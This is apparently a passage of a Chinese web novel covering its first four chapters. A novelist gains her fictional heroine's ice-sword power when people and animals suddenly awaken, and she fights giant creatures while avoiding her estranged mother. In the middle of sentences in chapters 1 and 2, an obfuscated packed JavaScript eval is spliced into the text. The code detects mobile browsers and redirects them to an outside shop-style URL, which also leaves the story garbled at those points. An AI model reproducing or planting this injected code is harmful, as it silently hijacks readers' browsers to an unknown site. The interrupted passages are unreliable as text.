《造物主她不想说话》 1. 您的主角正在跨越时空 艾以何发布小说大结局。 五分钟后,评论区炸了。 “艾莉西亚已经很惨了,又被通缉又被骗,你还让她救不到妈妈?啊?” “我翻了她专栏,主角一个比一个惨。这本5岁死妈、上本12岁、上上本20岁。你跟妈这种物种有仇是吗?” “求你放过艾莉西亚,下次直接设定孤儿算了吧。” 艾以何盯着那条评论,手指悬在键盘上。最后,她什么都没回。 她们说的其实很对。很多时候她都在想,如果艾莉西亚才是何晓慧的女儿,现实又会变成什么样。 手机响了。 屏幕上,“何晓慧”三个字正在跳动。艾以何看了一眼,没接。 三天前,对方也打过电话,问“周末过来吃饭吗”,她回了句“再说”。 再多说几个字,又会扯到写小说没前途,想不想去她的工厂当财务……最后的结束语,永远是外婆带大的性格就是犟。 但手机还在震动,她盯着那个名字,手指收紧—— 房间开始晃动。 灯罩往下掉灰,瘸腿的桌子嘎吱作响。蜂鸣声从四面八方涌来,像黑白电视的雪花屏突然爆出彩色,震得她脑子发麻。 她的手突然剧痛。桌上的手机又震了一下,是一条奇怪的短信: 【觉醒已开始,您的主角正在跨越时空。】 艾以何盯着那行字,皱了皱眉。 她没有再去管它,忍着右手越来越强的疼痛,回拨何晓慧的电话。 “您好,您拨打的电话暂时无法接通。” 再拨。 “您好,您拨打的——” 窗外传来一声尖叫! 艾以何冲到窗边,往外一看。 她愣住了。 一只巨大的橘猫蹲在楼下,光是脑袋就有她整个卧室那么大。那只猫的耳朵突然一动,抬起头来。 暗金色的眼珠正正对上她的窗户。艾以何的呼吸停了。 巨猫眨了眨眼。 它张开嘴! “喵!” 一声嘹亮的猫叫,整栋楼的窗户都在震动。 楼下的尖叫声再度响起,猫的眼睛又眨了一下,把视线从三楼移开。 艾以何已经被震得往后退了一步,撞在电脑桌上。桌上的相框倒了,她下意识扶起来,视线扫过照片。 那是她5岁时候与何晓慧的合影。对方穿着时髦的风衣,搂着她,笑得很温柔。 她在那张照片上面停了两秒。然后把照片抽出来,塞进口袋里。 外面传来巨猫走动的声音,每一下动静堪比装修队进场。缩在楼房不可取,她必须要先过当前这一关。 时间紧急,她把疼痛的右手用绳子缠紧。换洗衣物和证件全塞进背包,家里只剩两瓶水和刚买的巧克力,也一并带上。 她拉上背包拉链,手机调成静音,开门下楼。 楼道里很安静。 到了一楼拐角,艾以何停住了。 这个角度,她终于看见瘫在橘猫身下的邻居阿姨。巨猫的尾巴每敲一下地面,她就抖一下。 “咪咪,咪咪你别闹了!” 一个穿本地高中校服的女生从后面跑过来,脸都白了,手里还攥着一根猫条。 巨猫假装没听到她的话。 它玩够了,低头凑近那个阿姨,鼻尖几乎贴着她的脸在嗅。 阿姨像一个僵硬的雕塑。 艾以何攥紧背包带。有人吸引橘猫注意力,她应该趁现在冲出去的。 刚才收到的那条奇怪短信,在她脑子里一闪而过。但她除了手疼,也没发现自己哪变异了。附近就是警察局,执法人员有武器,最慢五分钟内就能赶来。 巨猫的鼻息喷在阿姨的脸上,卷发被吹起,露出那截没来得及染的白色发根。 这种潦草的样子,她从没见过出现在何晓慧身上。艾以何忍不住又看了一眼,心脏猛地一跳。 她听到了机械的播报音。 【您正在觉醒。】 【当前角色同步率:10%】 什么? 艾以何还没反应过来,冷硬的、带着风雪气息的手臂从背后环绕住她,包裹住她疼痛的右手。 那只手很冷。女声在她耳边响起时,音调却放得很轻: “你想保护她吗?” 保护?她没有这个能力。 “你可以。” 艾以何下意识低头。无形的冰霜爬上了她的掌心,能量在汇聚、凝结,她握住了拳头。 冰剑成型! 剑身凝着白色的霜。剑柄缠着一根红绳,磨损得厉害,只剩几根线。 艾以何心里一紧。 这根红绳的故事,她写过无数次。那个五岁失母的女孩,靠着这根红绳,一个人在雪原里待了十年。 艾莉西亚在每个雪夜里孤独的看着它,等待下一个天明。把故事写成这样的她,配使用这把剑吗? 艾莉西亚松开手,说:“去吧。” 【同步率已提升】 艾以何抬起头。 橘猫的耳朵一抬,转头过来。巨大的阴影将一楼出口笼罩,那双暗金色的圆眼再次对上了艾以何的眼睛。 艾以何来不及想,剑已经先动了。剑尖从下往上一刺,是艾莉西亚最习惯的起手式。 有什么东西从艾以何身体里涌出去,顺着剑身喷薄而出。 白色的霜雾,刺骨的冷气,肉眼可见的冰晶在地面凝结。巨猫抬起爪子,想按碎那些薄冰。 薄如宣纸的冰层发出咔嚓的脆响,一下裂了几道缝。 艾以何心里一紧。冰面裂开的速度并没有减缓,裂缝沿着冰面,从猫爪按下的位置一路扩散。 完了,要碎了!艾以何握紧那把剑。 艾莉西亚在她身后,和她一起握住了剑柄。 下一秒,裂缝停住。猫的四肢都被冰爬满,将它牢牢冻在水泥地上。 巨猫低下头,疑惑地看着脚上那层薄薄的冰。它伸出舌头,舔了一口。 舌头也黏住了。 “……” 女高中生愣了三秒,然后冲上去,一把扶起那个阿姨:“快走!” 阿姨被拽着跑出好几米,还忍不住回头看了一眼姿势滑稽的大猫。 艾以何手里的剑消失了。她的腿一软,差点跪到地上,四肢酸痛,手也火辣辣的疼。 背后环绕的手臂随之消散,她猛地回头,却只能看到空荡荡的楼道。 “不许动!” 几个警察举着防弹盾冲过来,把橘猫和艾以何一并围在正中。 领头的警察看了眼地上的冰,眼神变了变,却没有特别惊讶。 艾以何举起双手:“好的。” 她脑子里突然闪过一个荒唐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482363|201820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的念头。该不会国家早知道会发生群体觉醒吗? 不对。 如果真能知道具体某一天会这样,嘱咐每个公民老老实实呆在家里,不更能节省人力吗? 现在不是想这个的时候。 “能不能先帮我打个电话?”艾以何的下唇不知道什么时候脱皮了,她忍不住去咬。 “我妈妈住江临御墅C区8栋,她叫何晓慧。我刚才打她电话没人接,麻烦你们帮我联系到她。” 警察看着她,又看看她身后那只舌头黏在冰上的巨猫。 “它冻住了。”艾以何说,“一时半会儿动不了。” 十分钟后,她被请上了警车。 没人给她戴手铐,但车门锁上了。副驾的女警回头冲她笑了笑,隔着防护栏,继续向对讲机汇报情况。 “广电宿舍这边情况稳定,请确认其他区域是否需要支援。” 艾以何靠在座椅上,慢慢平复心跳。她低头看自己还在疼痛的手。 就在刚才,艾莉西亚出现在了她的世界。那把剑就是从这里长出来的,就在艾莉西亚握住她的手之后。 直到艾以何自己握住那把剑,她才意识到,她给了艾莉西亚一个5岁就失去妈妈的小说开头。 而艾莉西亚却愿意把能力借给她。 她的心现在很难受。 艾以何呼唤着艾莉西亚,但对方没有回应。 下一刻,她的头像冰扎了一样痛,脑子里闪过的画面。 狂风,冰雪,大地白茫茫的一片。 小女孩手里握着剑,嘴唇冻裂,手脚长疮。她在雪原走了一天,两天……一直走,一直走,不曾停留。 “她”是艾莉西亚。 【同步结束】 【当前角色同步率:15%】 艾以何靠着座椅喘气,手机响了。 是一个陌生的座机号码。 艾以何深呼一口气,接起来,静静等待对方说话。 “请问是艾以何女士吗?您的母亲何晓慧现已转移至高山街避难所。请放心,我们这里很安全。”通话人的声音平稳,但背景音嘈杂喧哗。 艾以何搓着手指,语气平静:“好的,谢谢。” 电话那头顿了一下,大概沟通过程中被告知了什么,对方继续说:“不过,何晓慧女士的丈夫受了伤,目前正在输液。她在医疗室陪护,需要喊她过来接电话吗?” 艾以何慢了一秒。 哦,是何晓慧那个再婚对象。外婆去世后她一直住校,直到大学毕业,何晓慧才领着她和对方见了一面。 “需要让她接电话吗?”电话那头重复。 “不用。” 艾以何很平淡地补了一句:“给你们添麻烦了。” 她挂断电话。 窗外,巨猫的舌头还黏在冰上,口水滴答。 艾以何看着它,突然想笑。但嘴角刚动了一下,她就笑不出来了。 手更疼了。 她注视着右手手心,感受到有什么东西正在里面孕育,有节奏地起伏着。 很轻,像心跳一样。 她张开右手,又一下握紧,里面仿佛还残留着冰霜的凉意。 那是艾莉西亚的温度。 窗外,巨猫终于把舌头拽下来,发出一声惊天动地的“喵”。 艾以何没抬头。 她还在看自己的手心。 2. 三个主角正在觉醒中 巨猫被哄走了。 艾以何听见女高中生高声喊着“这边这边”,巨猫的爪子踩在地上咚咚作响,不知什么时候出现的围观人群压低的惊呼。 但她没抬头。 她还在看手心。和5分钟前一样,但那种感觉突然消失了。 艾以何试着握了握拳,又松开。 不痛了。 仿佛刚才都是自己的错觉。 女警偷偷用后视镜瞄后座。过了一会,她拿起平板,认真看后勤传来的艾以何资料,并在上面写下自己的评价。 不一会,她的电话响了。她接起来听了几句,脸色变得有点古怪。 挂了电话,她回头看向艾以何:“艾女士,你愿意临时加入民兵队吗?市里现在很混乱,我们人手不够。领导说能打就打,不行就撤,不勉强。” 艾以何的视线正对着市中心的方向,隐约能看到黑烟升起。 “好。”她说。 去集合点的路上,女警一边开车一边给她补充信息。 “觉醒的不止人类。”女警请她下载一个APP,“金茂街有条宠物狗喷火,烧了羊肉馆。前面的乌鸦群,头鸟可能有问题。” 艾以何点头,心里暗自记下。她打开手机,平时常点的那几家外卖都关店了。 集合点在商业街入口。她到的时候,这里已经到了三辆警车。几个店主情绪激动想往里冲,四个警察正焦头烂额地拦人。 艾以何下了车。 脚踩在地上的时候,她下意识把手插进兜里。 指尖碰到那张合影。 她顿了顿,然后把手拿出来,跟着女警往前走。 第一个注意到艾以何的,是个穿蓝色格子衫的青年。他戴着黑框眼镜,镜片有点厚,手里攥着一瓶运动饮料。 见女警带艾以何过来,他眼睛一亮,露出那种“终于来齐了”的笑容。 “林骁!”他主动伸手,又指向旁边的一男一女,“这两个也是觉醒者,我们三个凑一桌斗地主,你来了还可以打麻将。” 被他指中的女性翻了个白眼。 她三十出头,一身浅灰色的职业套装,身姿曼妙,脚上却踩着一双颜色和款式都明显不搭的运动鞋。 “我叫周婉。”她双手抱胸,“能变成鸟。林骁变出的饮料能恢复体力,但必须一口气喝完,齁得要死。” 林骁耸了耸肩,一脸无辜。 剩下的寸头青年站姿笔挺,他等周婉说完,才朝艾以何点点头:“王卫边。能力是电,但不能徒手用。” 他顿了顿,又补了一句:“充电宝最好,好找、好拿、方便替换。” 他看着艾以何,等她自我介绍。 “我叫艾以何。”她在想该怎么说自己的能力,因为没有听到他们提同步率,她下意识也回避了这个话题,“一把冰剑。不太会用,用完会累。” 林骁眼睛更亮了:“用剑?帅啊!” “你的饮料才有用。”艾以何说的是实话,她刚才差点虚脱,“战斗必备。” 林骁愣了一下,随即笑得更真诚:“行,那来一瓶!不过你得做好心理准备,这味道……” 他拧开瓶盖一递,艾以何接过来。的确是一股廉价的葡萄香精味。 她一口气喝完。 确实难喝。 但喝完的那一瞬间,脑子里那种昏沉的感觉确实轻了。 她认真地对林骁说:“谢谢。” 林骁摆摆手:“别谢,以后打架多罩我点就行。我这能力,逃命好用,打架就是累赘。” 周婉在旁边冷笑:“知道就好。”林骁也不恼,笑嘻嘻的把话题岔开。 艾以何看了看手里的空瓶子,瓶子上印着一个穿校服的女孩照片,笑容阳光灿烂。 下方有一行娟秀的楷书: “以渺小启程,以伟大结束!” 林骁还在等她的瓶子,艾以何伸手,把瓶子还给他。对方接过来,手一握,瓶子消失。 他说:“现在我一天的上限50瓶。” 艾以何点点头,记下了。 看来战斗的时候续航不太现实。 商业街终于被完全封锁。 占据最好位置的金店门前挤满了乌鸦,防盗玻璃窗已经被啄出几个圆形的小裂纹。 “首要目标是救人。根据监控,店里应该还有两个群众没来得及撤离。”女警讲解任务,“要麻烦你们四位吸引乌鸦注意力,能驱散更好。一旦目标离开,我们马上进去救人。必要时会开枪支援。” 救援即将开始,王卫边掏出手机看了一眼屏保,又若无其事地收了起来。 艾以何闭上眼,她需要再次呼唤艾莉西亚。 冰霜从掌心蔓延。 剑再度出现。 但握紧它的瞬间,艾以何眼前不再是金店,而是一片雪原。 狂风卷起冰雪将一切淹没,一眼望去,白茫茫的一片。“她”抿了抿冻裂的嘴唇,呼气都怕冻到喉咙里。 “艾以何!” 林骁的声音把她拽回来,他只喊了那一声,艾以何却觉得过了很久。 雪原消失了。 眼前是混乱的商业街。白鹭振翅,狂风骤起。鸦群被冲散,却没有乱。三只一组,交替撞向周婉。 周婉拔高,贴着招牌掠过,鸦群紧随其后。 “就是现在!” 王卫边的电流出手。电弧直奔鸦群,半空却突然拐弯,差点打中周婉。 她羽毛焦了几根,瞪了王卫边一眼,来不及骂,振翅甩开又一波乌鸦攻击。 艾以何深吸一口气,挥剑加入战斗。 冰霜从剑尖涌出,掀起一片白雾。最前排的几只乌鸦被冻住翅膀,扑棱着往下掉。 但下一秒,一阵风冲她而来。艾以何下意识地闪躲,肩膀还是被划了一道。 血渗了出来,但有雪原的幻象在前,这种程度的疼痛还没超过她的阈值。 艾以何侧头。一只体型偏小的乌鸦停在三轮车的把手上,正歪着头看她。它的眼睛是红的,像红宝石一样,泛着极亮的光。 “嘎!” 艾以何挥剑,冰霜直奔它而去! 乌鸦消失了! 它在艾以何抬手的一瞬间就动了,冰霜扑了个空,只冻住三轮车的把手。 “在你后面!” 王卫边始终留神着队友,沉声道:“它会瞬移,注意四周!” “嘎——嘎——” 乌鸦一直在移动,声音带着挑衅。 艾以何看见了。 在那里—— 她感受着身体的悸动,顺着她的意志,往右一刺!冰霜命中目标!冻住了乌鸦半个翅膀。 乌鸦发出一声凄厉的惨叫。 剑慢了一拍。 像艾莉西亚第一次杀死猎物时那样——震撼于那个敌人临死前的眼神。 就这么一慢,乌鸦猛地一挣!半只翅膀整个从根部撕裂,鲜血四溅。 乌鸦用剩下那只翅膀使劲,一下瞬移到它能看到最远的那颗树上。 艾以何的剑垂到地上,她注视着它。 这只乌鸦比橘猫厉害。 但大部分乌鸦走不掉了。它们瘫在地上,黑色羽毛里混着冰碴。 那只红眼乌鸦远远地回望艾以何,翅膀无力地垂下。它歪了歪头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482364|201820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,先看看艾以何,又看了看她的三个“同族”。 没过多久,几只乌鸦落上它身后的树枝。它“嘎”了一声,无声的消失,残存的鸟群也飞走了。 两个警察扶着吓软的店员出来。他们的搭档双手握枪,目光警惕,一路护送他们离开。 艾以何心里一松,恶心感顿时涌了上来。 比第一次同步的反应更强烈。她眼前发黑,耳朵嗡嗡作响,握剑的手也开始发抖。 但同时涌上来的,还有刚才中断的雪原画面。 “她”已经没有力气了,用剑杵在地上当支撑。“她”忍不住看一眼剑柄的红绳,生怕它被冻掉了。 那是……妈妈留下来的。 “她”只剩这一个东西了。 【同步结束】 【当前角色同步率:15%】 艾以何来不及想这意味着什么。她只知道,刚才握着剑的时候,雪原里的“她”离自己更近了一点。 在画面消失的最后一秒,艾以何听到了另一个声音。 不是艾莉西亚,而是更飘忽的,仿佛梦境传来的呓语: “找到你了……” 艾以何愣住了。 谁? 那个声音……是阿野? 她四处张望,却没看到任何人。 等女警通过耳麦示意他们可以撤离时,艾以何靠着墙,想着刚才的那个声音,呼吸的频率还有点不稳 林骁走过来,又递了一瓶饮料:“你刚才太帅了。这叫不太会用?” “谢谢。”艾以何接过来,一口气喝完。 头没那么疼了。 林骁收回空瓶:“不好意思哈,我从小到大都不爱喝饮料,就高三我妈逼我喝了一整箱这个味道。” “还好。”艾以何顿了顿,“我能接受。” 乌鸦被赶走了,金店这会有人在清理门口的碎玻璃,旁边的超市也在收拾被撞翻的货架,准备重新开门。 一切似乎都在恢复正常。艾以何清点了一下自己的存货,又买了一大包葱油味压缩饼干、大卷黑胶带和无菌纱布。 那款巧克力没补到,剩下的得省着点吃了。 周婉变成鸟以后,连自己衣服都护不住,除了食物别的都没买,林骁倒是花了近八百块。 他们三个一集合,发现王卫边背着林骁同款的商业街越野包,还在超市外面的摊位上犹豫。 他挑充电宝要一个一个试,进度最慢。周婉在旁边等得不耐烦,刚要催促,王卫边突然僵住了。 艾以何第一时间注意到他的眼睛。那双眼睛在那一瞬间失去了焦距。瞳孔像被什么东西吸走,变成了两个深不见底的黑洞。 “王哥。”林骁喊道。 王卫边没有回答他。周围的空气开始扭曲。 艾以何下意识地后退。 空气像一张被攥成团的卫生纸。王卫边从手指开始,一点一点被消失。 手臂、肩膀,最后是那双还没闭上的眼睛。 整个过程不超过三秒。 王卫边消失前,嘴角动了一下。艾以何看不清那是笑还是别的什么。 他的手机掉在地上,弹了一下,落在她脚边。 屏保再度亮起,是他和一个女人的合照。 “靠!”林骁骂了一声,转身跑去找女警。 艾以何一边打120,一边和周婉一左一右站着,避免过来看情况的超市老板站到王卫边消失的位置。 120一直占线。艾以何反复重播,嘴闭的很紧,她甚至能听到自己牙齿剧烈咬合的声音。 不知道过了多久,王卫边回来了——被吐出来的。 3. 艾以何即将传送战斗 王卫边摔在水泥地上,姿势扭曲。左臂从肘关节往下没了。脸上三道抓痕,从左眼角拉到下颌,深可见骨。 他的血还在往外涌。 女警冲过来,对着电话吼,让救援车快过来,声音高得快破音了。 林骁拧开一瓶自己的饮料,往王卫边嘴边凑。但对方的喉咙没有吞咽的动作。液体顺着他嘴角往下流,混着血,在地上淌成一滩。 他睁着眼睛,瞳孔散开。嘴唇动了一下。林骁把耳朵凑过去,但什么也没听见。 “王卫边!”林骁不敢动他,声音变大,“你喝啊!快喝啊!” 艾以何跟他一起蹲下来,仔细观察。她看见王卫边的嘴张着,舌头的位置空荡荡的。 “他的舌头……”艾以何顿了顿,“好像没了。” 救援车来得很快。工作人员穿着防弹衣和钢盔,脸上戴着防护面罩,抬走伤者后呼啸而去。 林骁低头看着手里那瓶没喂进去的饮料。标签被他撕下来一角,又贴回去。 他的手指蹭到瓶口沾的血,在裤子上擦了一下,没擦干净。 “王哥之前说,他被家里送去戒网瘾。”林骁开口,声音有点干,“想给他女朋友打个电话,一周只能打一次。” 艾以何没说话。 “我问他女朋友漂亮吗?他就拿视频给我炫耀,从15岁到27岁,每一条他都存着。”林骁把饮料瓶回收,站起来,“他们结婚都快8年了。” 周婉站在原地,双手抱胸,指甲掐进手臂里。 林骁转身往警车走,走了两步又回头,对艾以何说:“我再给你一瓶。你消耗大,别给我省啊。” 艾以何微愣。 三个人的手机突然同时震了几下,打开一看,是那个警方APP强制推了一条消息。 【紧急通知:觉醒者随时可能被传送到异空间参加战斗,请务必随身准备好以下物资……】 艾以何脑子里那个荒唐的念头再度出现。国家到底提前知道了什么?与此同时,林骁暴躁的关掉屏幕,“早点不发!” 手机还在震。 APP竭力用轰炸的方式传达到每一个人。 艾以何点开,页面确实像末日生存清单。压缩饼干、急救包、保暖毯、头灯……她往下滑,滑到最底下,才看见不一样的东西。 【互助信息·实时更新】 她点开。 ——金茂街23号,有老人心脏病发,急需硝酸甘油。(已解决) ——西区临时避难所,缺一名土系(或能补平操场)的觉醒者。(已解决) ………… 她刷到一个人在问:我家的狗觉醒了,现在会喷骨头。但它不伤人,有地方收留吗?在线等,急!(征集中) 下面有人回复:发定位,我来看看。 还有人回复:你确定不伤人?它喷东西的时候眼睛是什么颜色? 艾以何在那个问题上停留了一秒。她把手机收起来,没继续往下翻。 但那个问题还在脑子里转动,她想起广电宿舍那只巨猫的眼睛。 艾以何对照物资清单,发现自己基本齐了。她的手机开始震动。 还是之前那个座机号码。艾以何沉默片刻,接了起来。 “以何?” 是何晓慧的声音。 艾以何没说话。 “我手机坏了,听说你没进避难所。”何晓慧说话的语气有点慢,“没事吧?有没有受伤?” “没有。” 艾以何想说“你不用担心,我挺好的”。但她最后什么都没说。 电话那头,何晓慧捂嘴闷咳了一声。座机嘈杂的人声中,有人在大喊三号床该输液了。 沉默。 三秒。 五秒。 十秒。 “……以何?” 艾以何闭了闭眼。她之前手上的疼,到底还是和艾莉西亚不一样。 艾莉西亚的茧子,是她为了找到妈妈,握着剑,从雪原小村庄到盟军先锋队,一次又一次砍出来的。 “你自己注意安全。”艾以何说,“如果信号断了,你找这个座机的负责人,应该可以帮你解决麻烦。” 这次换何晓慧沉默。 艾以何想挂电话了。 “你张叔叔身体本来就不舒服,还为救我受伤了,我得陪着他。等这事过了,我就来找你,行吗?” 何晓慧顿了顿,又补了一句:“我给你做糖醋排骨。” 艾以何五岁的时候才喜欢吃糖醋排骨。 那时候桌上的排骨还冒着热气,她就等不及伸手去抓,又烫得缩回来连连喊妈妈。 妈妈脸上会笑眯眯的,一筷子一筷子地喂她。 后来她就不爱吃了。什么时候的事呢? 记不清了。 “噗通——噗通!”她的心有点难受,仿佛有两个心脏同时在跳动。她攥着手机,指甲掐进肉里。 “……以何?” “再说吧。”艾以何用脚撵着地上的乌鸦毛,“最近应该没时间。” 上面的血迹黑红黑红的,怎么撵都撵不掉。 通话结束。 艾以何看了一眼女警,发现对方还在打电话。她深呼一口气,打开了《艾莉西亚》的评论区。 那条“写不来母女别写”的评论下面,有人回复:“+1,她每一本都这样,主角必拿妈祭天。” 艾以何手指一顿。 她写过三个主角。 《艾莉西亚》这本评论区骂的还算温和,另外两本才是腥风血雨,毕竟阿野和何露露的性格也更加偏激。 艾以何按住突然刺痛的额头。 女警走过来,脸色发白:“特护医院会收治王卫边,我保证,他一定能活下来。评残以后有假肢的补助。我们……我们还得去北风街那边。” 周婉看着她:“就我们三个?” “人手不够。”女警的声音很低,“市里截至目前,被传走的觉醒者有五十多个。回来的不到一半。” 天色已经昏黄,艾以何收回视线:“是随机抽选吗?还是所有人都会去?” 女警不清楚。从异变开始到现在,总共才六个小时,他们这些基层对具体的事态一无所知。 面对一问三不知的局面,周婉开口:“走吧。趁现在还没被选走,有警察保你不死,多杀几个算几个,说不定笔试加分就靠数量呢。” 林骁落在他们后面,艾以何回头看了一眼,他正弯腰捡起了王卫边的手机。 周婉拉了拉她的袖子,示意别问。 商业街门口只剩一辆警车了。女警开车,艾以何坐副驾,林骁和周婉一路都没说话。 艾以何看着窗外。有老板神色匆匆地跑回店铺关卷帘门,还有一个小孩牵着妈妈的手,胆大无畏地往前。 车晃了一下,艾以何收回视线。 北风街是一条狭窄的老巷子,被改造成了便民健身区,一个比人还高的阴影局促地伏在这里。 车停在巷口。隔着玻璃,艾以何看清了那只猫。 它的毛发脏得打结,几乎和周围融为一体。唯有那双眼睛在昏暗里泛着荧荧的光。 它注意到陌生人的到来,脊背拱起,细长的尾部缓慢地扫动。 “我们是在等什么?”林骁问。 “等它自己离开。我们只避免它伤到人,一小时以后会有人换班。”女警解释。 艾以何察觉不到危险,开始注意到别的东西。比如巷子外的墙上,还贴着一张皱巴巴的A4纸。 中性笔写的,字迹有点潦草: 【此区域有恶猫出没,体型较大。请勿投喂,请勿靠近,请勿使用闪光灯拍照。如需帮助,请联系值班人员。】 艾以何把那张告示认真读完。落款是“红心街道办事处”,还盖了个红章。 “那里有个窝。”周婉突然开口,手指向巷子深处。艾以何顺着方向看去,果然在墙角的阴影里,看见一个破破烂烂的旧纸箱。 很可能是大猫原来的家,所以它才会留在这里。 “噗通!”艾以何的手又传来剧痛,刚才那一声心跳,仿佛在她的耳边炸开。 但她缓过气来,观察周围,另外三个人似乎都没有听见那个声音。 她另一只手压住右手掌心,深呼一口气。 等下一组来接班的时候,天已经黑了。 “民兵队”就近给他们安排了住宿。窗户 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周婉闻言,把自己手机屏幕亮给两人看。 她置顶了一个微信群,群名叫“乐水区觉醒者互助群”,成员237人。 乐水区就是他们所在市的市中区。 “不是官方群,我堂哥拉我进去的。要不是今天这事,我都不知道他居然在街道办上班。”周婉皱了下眉,“里面有人在刷屏,说有人觉醒后直接送去了首都。” 艾以何顿了一下。 往首都送? 这个节骨眼上,觉醒者应该是各地最紧缺的资源。本地□□的力量都不充裕,反而往首都集中? 群里的消息刷的很快。有人把APP的通知截图发到群里,很快就有人跳出来,说不一定就是每个人都会被传送。 最后群主贴出了数据,全国目前登记的觉醒者将近20万。 突然,软件顶上弹出一条新消息。 【老周:我们跟亲家商量了一下,你弟婚宴还是下周办,不能再推迟咯。你的定期,我们先用一哈,一定还哈。】 三个人沉默了几秒。 窗外传来警笛声,由远及近,又由远及近。 周婉拿起啤酒一饮而尽,站起来:“我先回去了。群里都在说会传送,应该准备一下。” 她走到门口,回头看了一眼电视柜上的手机:“祝我们好运。” 林骁看向艾以何:“你呢?再坐会不?” “不了。”艾以何也起身,“你也早点睡。” 回到房间,艾以何把手机插上充电,躺回床上,盯着天花板走神。 在他们之中,单从已知的觉醒能力来看,林骁是最难通关的那个。 因为他自述的狂喝饮料经历,再加上王卫边传送前的那段话,艾以何对每个人的能力来源有了猜想。 可为什么是艾莉西亚? 首都、战斗、死亡、还有……何晓慧,所有事情在艾以何脑子里搅成一团乱麻。 她真的能用好艾莉西亚的能力,成为何晓慧在新秩序立足的底气吗? 妈妈……艾以何的手又开始剧痛。 机械音再度响起。 【当前同步率20%】 【目标已达成,通道开启中……】 天花板的纹路在昏暗里模糊成一块。艾以何眨了眨眼,发现身体动不了了。 不是困。 是那种感觉,王卫边消失之前,她看到的那种感觉。 空气开始扭曲。 艾以何睁大眼睛,看着自己的手连带背包从视野里消失。不是被遮住,是直接没了,像有人用橡皮擦把她一点一点擦掉。 她想喊,但喉咙发不出声音。 在被吞进去的最后时间,她想起王卫边消失前的那个表情。 是另一种—— 那她也能活着回来吗? 如果她死了,何晓慧要过多久才能知道呢? 艾以何想着,手开始发抖。然后,她什么都不知道了。 墙角的阴影突然跃起,在空间传送的最后一秒,跟着她挤了进去。 4. 艾莉西亚首次降临 艾以何再次睁开眼,眼前是一片混沌。 没有天,没有地,没有上下左右。灰蒙蒙的雾气在四周涌动,偶尔能看见远处有什么东西一闪而过。 像是怪物的阴影,又像是空间的裂缝。 她低下头,脚下有实感,但看不清轮廓。 手心一寒,冰剑成型。 【您已进入D3052世界战场·诡异前线】 【当前同步率:20%】 【D3052世界-管理员1773号:诡异正在入侵本世界。本空间为界外缓冲带,您击杀诡异生物将获得联盟积分,可用于加固结界、提升同步率、兑换物资等。】 【特别提醒:D3052世界已签订联盟互助协议。您可接受雇佣,前往其他世界战场。】 【本次战场目标:击杀10只诡异生物(普通),完成后可返回。】 雾气里传来动静。 艾以何握剑转身,看见一只诡异从雾里爬了出来。它没有固定的形状,像一滩烂泥,顶端长着八只眼睛。每只眼睛都在转动,朝不同方向扫视。 突然,眼珠一停。 它看见她了! 烂泥的眼睛们同时盯了过来,涌动的身体蓄力,猛地一下跳跃。 艾以何挥剑。 冰雪砍进诡异头部,划开一条巨大的口子。但这只诡异没有血液,身体里面全是烂泥。伤口瞬息之间合上,快得像什么都没发生过一样。 它滚动的速度加快了。 艾以何又在烂泥身上连砍三剑,每一剑落下的新伤口也都迅速愈合。刺鼻的腐臭味离她越来越近,那些眼睛几乎快贴到了她的脸上。 泥点溅到她的衣角,被腐蚀得滋滋作响。艾以何下意识地后退,脚下突然踩空。 或者说,这里本来就没有实体。她只是跌进了更深的雾气里。 艾以何爬起来,身下又软又有弹性,她一点也不痛。 那只诡异没追下来,只是停在那团雾的上方,盯着艾以何的四只眼睛转动着,似乎在等待什么。 艾以何回望过去,思考破局之法。 她现在只有20%的同步率,根本不够打破这个诡异的防御。她之前能封住巨猫,能冻住乌鸦,是因为那都是血肉之躯。这东西就一团淤泥,砍开就合拢,冰霜对它也没用—— 她突然停住。 冰霜真的没用吗? 刚才她砍的时候,剑上带着冰,只是冰从剑刃传到诡异身上的时候,像是受到了什么阻碍,根本没来得及扩散。 这一层的灰雾里又传来动静。不止一处,四面都是。艾以何握剑环顾,雾气翻腾,密密麻麻的眼睛在其中涌动。 几十只,亦或是一百多只淤泥诡异,慢慢地,用一秒几十厘米的速度,将她包围了起来。 艾以何冷汗一下就下来了。 她握紧剑。 她不想死在这里。 第一只诡异扑过来,艾以何挥剑,冰霜凝结成扇面,将它拍开。 第二只从侧面突袭,艾以何躲闪,但裤腿被淤泥擦过,腐蚀到了皮肉。 第三只、第四只…… “哈……哈啊……”她只觉得这下去不行,白白耗费体力。这些怪物围攻她的速度并不快,像猫对老鼠的那种戏弄。她提剑开始绕圈,眼睛一直在观察。 看淤泥伤口愈合的速度、看它们眼睛是如何转动、看它们到底为什么不一拥而上,直接把她弄死。 她发现淤泥任何一只眼睛愈合的时候,其他眼睛都会同时闭上0.5秒。 它们似乎本能地厌恶挤在一起。 艾以何在等待。 第一只不想继续绕圈的淤泥终于出现,猛地跳跃偷袭。她在它眼睛闭上的那一瞬间,刺了进去! “滋——”那只诡异停住,没法行动了。 但还有第二只、第三只,它们并不知道恐惧,接二连三涌了过来。 艾以何强撑着挥了十几次剑后,快撑不住了。 但何晓慧只有她一个孩子。 她不能死。 灰雾中渗进一丝绿色,若有若无,像从另一个世界滴落的颜料。 “噗通!”心脏在跳动。 艾莉西亚。 “噗通!” 帮帮我,艾莉西亚。 “噗通!”另外一个心脏开始跳动。 我真的真的,很需要你! “噗通——噗通——噗通噗通!” 